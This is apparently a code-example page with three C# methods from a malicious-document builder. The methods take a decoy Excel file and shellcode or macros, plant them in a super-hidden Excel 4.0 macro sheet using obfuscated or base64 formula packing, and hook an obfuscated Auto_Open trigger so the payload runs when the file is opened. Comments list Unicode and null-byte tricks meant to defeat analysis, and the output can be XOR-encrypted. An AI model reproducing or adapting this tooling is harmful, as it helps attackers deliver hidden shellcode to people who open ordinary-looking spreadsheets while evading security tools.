Esempio n. 1
0
        public WorkbookStream SetMacroBinaryContent(byte[] payload, int rwStart, int colStart, int dstRwStart,
                                                    int dstColStart, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc,
                                                    PayloadPackingMethod payloadPackingMethod         = PayloadPackingMethod.MatchSheetPackingMethod)
        {
            List <string>     payloadMacros;
            List <BiffRecord> formulasToAdd = new List <BiffRecord>();

            if (payloadPackingMethod == PayloadPackingMethod.MatchSheetPackingMethod)
            {
                payloadMacros = FormulaHelper.BuildPayloadMacros(payload);
                formulasToAdd.AddRange(FormulaHelper.ConvertStringsToRecords(payloadMacros, rwStart, colStart,
                                                                             dstRwStart, dstColStart, 15, packingMethod));
            }
            else if (payloadPackingMethod == PayloadPackingMethod.Base64)
            {
                payloadMacros = FormulaHelper.BuildBase64PayloadMacros(payload);
                formulasToAdd = FormulaHelper.ConvertBase64StringsToRecords(payloadMacros, rwStart, colStart);
            }

            WorkbookStream macroStream = GetMacroStream();

            try
            {
                BiffRecord lastFormulaInSheet = macroStream.GetAllRecordsByType <Formula>().Last();
                // If we are using base64 packing, we write STRING entries after our formulas, so check for that first
                if (payloadPackingMethod == PayloadPackingMethod.Base64)
                {
                    try
                    {
                        lastFormulaInSheet = macroStream.GetAllRecordsByType <STRING>().Last();
                    }
                    catch
                    {
                        lastFormulaInSheet = macroStream.GetAllRecordsByType <Formula>().Last();
                    }
                }
                WorkbookStream modifiedStream = WbStream.InsertRecords(formulasToAdd, lastFormulaInSheet);
                WbStream = modifiedStream;
                return(modifiedStream);
            }
            catch (Exception)
            {
                throw new ArgumentException(
                          "SetMacroBinaryContent must be called on a stream with at least 1 existing Formula Record");
            }
        }
Esempio n. 2
0
        public WorkbookStream AddFormula(Formula formula, PayloadPackingMethod payloadPackingMethod = PayloadPackingMethod.MatchSheetPackingMethod)
        {
            BiffRecord lastFormula = WbStream.GetAllRecordsByType <Formula>().Last();

            // If we are using base64 packing, we write STRING entries after our formulas, so check for that first
            if (payloadPackingMethod == PayloadPackingMethod.Base64)
            {
                try
                {
                    lastFormula = WbStream.GetAllRecordsByType <STRING>().Last();
                }
                catch
                {
                    lastFormula = WbStream.GetAllRecordsByType <Formula>().Last();
                }
            }

            WbStream = WbStream.InsertRecord(formula, lastFormula);
            WbStream = WbStream.FixBoundSheetOffsets();
            return(WbStream);
        }
Esempio n. 3
0
        /// <summary>
        /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument.
        /// </summary>
        /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param>
        /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param>
        /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param>
        /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param>
        /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param>
        /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param>
        /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param>
        /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param>
        /// <param name="payloadMethod">How should shellcode be written in the document. Defaults to using the SheetPackingMethod for encoding.</param>
        /// <param name="password">Password to encrypt document using XOR Obfuscation.</param>
        /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param>
        /// <param name="localizedLabel">Use this flag in order to set a localized label in case Excel is not in US language. Default to Auto_Open</param>
        public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble,
                                 PayloadType payloadType   = PayloadType.Shellcode,
                                 string macroSheetName     = "Sheet2", string outputFileName = "output.xls", bool debugMode = false,
                                 SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, PayloadPackingMethod payloadMethod = PayloadPackingMethod.MatchSheetPackingMethod,
                                 string password           = "", string localizedLabel = "Auto_Open")
        {
            if (decoyDocument == null || payload == null)
            {
                Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions.");
                return;
            }

            //Useful for remote debugging
            if (debugMode)
            {
                Console.WriteLine("Waiting for debugger to attach");
                while (!Debugger.IsAttached)
                {
                    Thread.Sleep(100);
                }
                Console.WriteLine("Debugger attached");
            }

            List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();


            string decoyDocPath = decoyDocument.FullName;

            WorkbookStream wbs        = LoadDecoyDocument(decoyDocPath);
            List <string>  sheetNames = wbs.GetAllRecordsByType <BoundSheet8>().Select(bs => bs.stName.Value).ToList();
            VBAInfo        vbaInfo    = VBAInfo.FromCompoundFilePath(decoyDocPath, sheetNames);

            List <string> preambleCode = new List <string>();

            if (preamble != null)
            {
                string preambleCodePath = new FileInfo(preamble).FullName;
                preambleCode = new List <string>(File.ReadAllLines(preambleCodePath));
            }

            WorkbookEditor wbe = new WorkbookEditor(wbs);

            wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden);

            List <string> macros = null;

            byte[] binaryPayload   = null;
            byte[] binary64Payload = null;

            //TODO make this customizable
            int rwStart     = 0;
            int colStart    = 0xA0;
            int dstRwStart  = 0;
            int dstColStart = 0;

            int curRw  = rwStart;
            int curCol = colStart;

            switch (payloadType)
            {
            case PayloadType.Shellcode:
                macros        = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName);
                binaryPayload = File.ReadAllBytes(payload.FullName);

                if (payload64Bit != null && payload64Bit.Exists)
                {
                    binary64Payload = File.ReadAllBytes(payload64Bit.FullName);
                }

                break;

            case PayloadType.Macro:
                macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList());
                //Prepend the preamble to the imported pattern
                macros = preambleCode.Concat(macros).ToList();
                break;

            default:
                throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType),
                                            "payloadType");
            }


            if (binaryPayload != null && binaryPayload.Length > 0)
            {
                if (payloadMethod == PayloadPackingMethod.Base64)
                {
                    wbe.SetMacroBinaryContent(binaryPayload, 0, dstColStart + 1, 0, 0, method, payloadMethod);
                }
                else
                {
                    wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method);
                }

                curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                if (rwStart > 0xE000)
                {
                    curRw   = 0;
                    curCol += 1;
                }

                if (binary64Payload != null && binary64Payload.Length > 0)
                {
                    if (payloadMethod == PayloadPackingMethod.Base64)
                    {
                        wbe.SetMacroBinaryContent(binary64Payload, 0, dstColStart + 2, 0, 0, method, payloadMethod);
                    }
                    else
                    {
                        wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method);
                    }

                    curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;

                    if (rwStart > 0xE000)
                    {
                        curRw   = 0;
                        curCol += 1;
                    }

                    macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName);
                }

                if (payloadMethod == PayloadPackingMethod.Base64)
                {
                    macros = MacroPatterns.GetBase64DecodePattern(preambleCode);
                }
            }

            wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method);

            // Initialize the Global Stream records like SupBook + ExternSheet
            wbe.InitializeGlobalStreamLabels();

            if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine)
            {
                ushort charInvocationRw  = 0xefff;
                ushort charInvocationCol = 0x9f;
                wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true);

                //Abuse a few comparison "features" in Excel
                //1. Null bytes are ignored at the beginning and start of a label.
                //2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ
                //3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325)
                //4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions
                wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true);
                //Using lblIndex 2, since that what var has set for us
                wbe.AddFormula(
                    FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2), payloadMethod);
            }
            else if (method == SheetPackingMethod.ArgumentSubroutines)
            {
                ushort charInvocationRw  = 0xefff;
                ushort charInvocationCol = 0x9f;

                ushort formInvocationRw  = 0xefff;
                ushort formInvocationCol = 0x9e;

                ushort evalFormInvocationRw  = 0xefff;
                ushort evalFormInvocationCol = 0x9d;

                //Lbl1
                wbe.AddLabel("c", charInvocationRw, charInvocationCol, false, false);
                //Lbl2
                wbe.AddLabel("f", formInvocationRw, formInvocationCol, false, false);

                //Lbl3
                wbe.AddLabel(UnicodeHelper.CharFuncArgument1Label, null, false, true);
                //Lbl4
                wbe.AddLabel(UnicodeHelper.FormulaFuncArgument1Label, null, false, true);
                //Lbl5
                wbe.AddLabel(UnicodeHelper.FormulaFuncArgument2Label, null, false, true);

                //Lbl6
                wbe.AddLabel("e", evalFormInvocationRw, evalFormInvocationCol, false, false);
                //Lbl7
                wbe.AddLabel(UnicodeHelper.FormulaEvalArgument1Label, null, false, true);


                List <Formula> charFunctionFormulas =
                    FormulaHelper.CreateCharFunctionWithArgsForLbl(charInvocationRw, charInvocationCol, 3,
                                                                   UnicodeHelper.CharFuncArgument1Label);
                foreach (var f in charFunctionFormulas)
                {
                    wbe.AddFormula(f, payloadMethod);
                }

                List <Formula> formulaFunctionFormulas = FormulaHelper.CreateFormulaInvocationFormulaForLblIndexes(
                    formInvocationRw, formInvocationCol, UnicodeHelper.FormulaFuncArgument1Label,
                    UnicodeHelper.FormulaFuncArgument2Label, 4, 5);
                foreach (var f in formulaFunctionFormulas)
                {
                    wbe.AddFormula(f, payloadMethod);
                }

                List <Formula> formulaEvalFunctionFormulas =
                    FormulaHelper.CreateFormulaEvalInvocationFormulaForLblIndexes(
                        evalFormInvocationRw, evalFormInvocationCol,
                        UnicodeHelper.FormulaEvalArgument1Label, 7);
                foreach (var f in formulaEvalFunctionFormulas)
                {
                    wbe.AddFormula(f, payloadMethod);
                }
            }

            wbe.AddLabel(localizedLabel, rwStart, colStart);

            wbe.ObfuscateAutoOpen(localizedLabel);

            WorkbookStream createdWorkbook = wbe.WbStream;

            if (!string.IsNullOrEmpty(password))
            {
                Console.WriteLine("Encrypting Document with Password " + password);
                XorObfuscation xorObfuscation = new XorObfuscation();
                createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password);
                // createdWorkbook = createdWorkbook.FixBoundSheetOffsets();
            }

            ExcelDocWriter writer     = new ExcelDocWriter();
            string         outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName;

            Console.WriteLine("Writing generated document to {0}", outputPath);
            writer.WriteDocument(outputPath, createdWorkbook, vbaInfo);
        }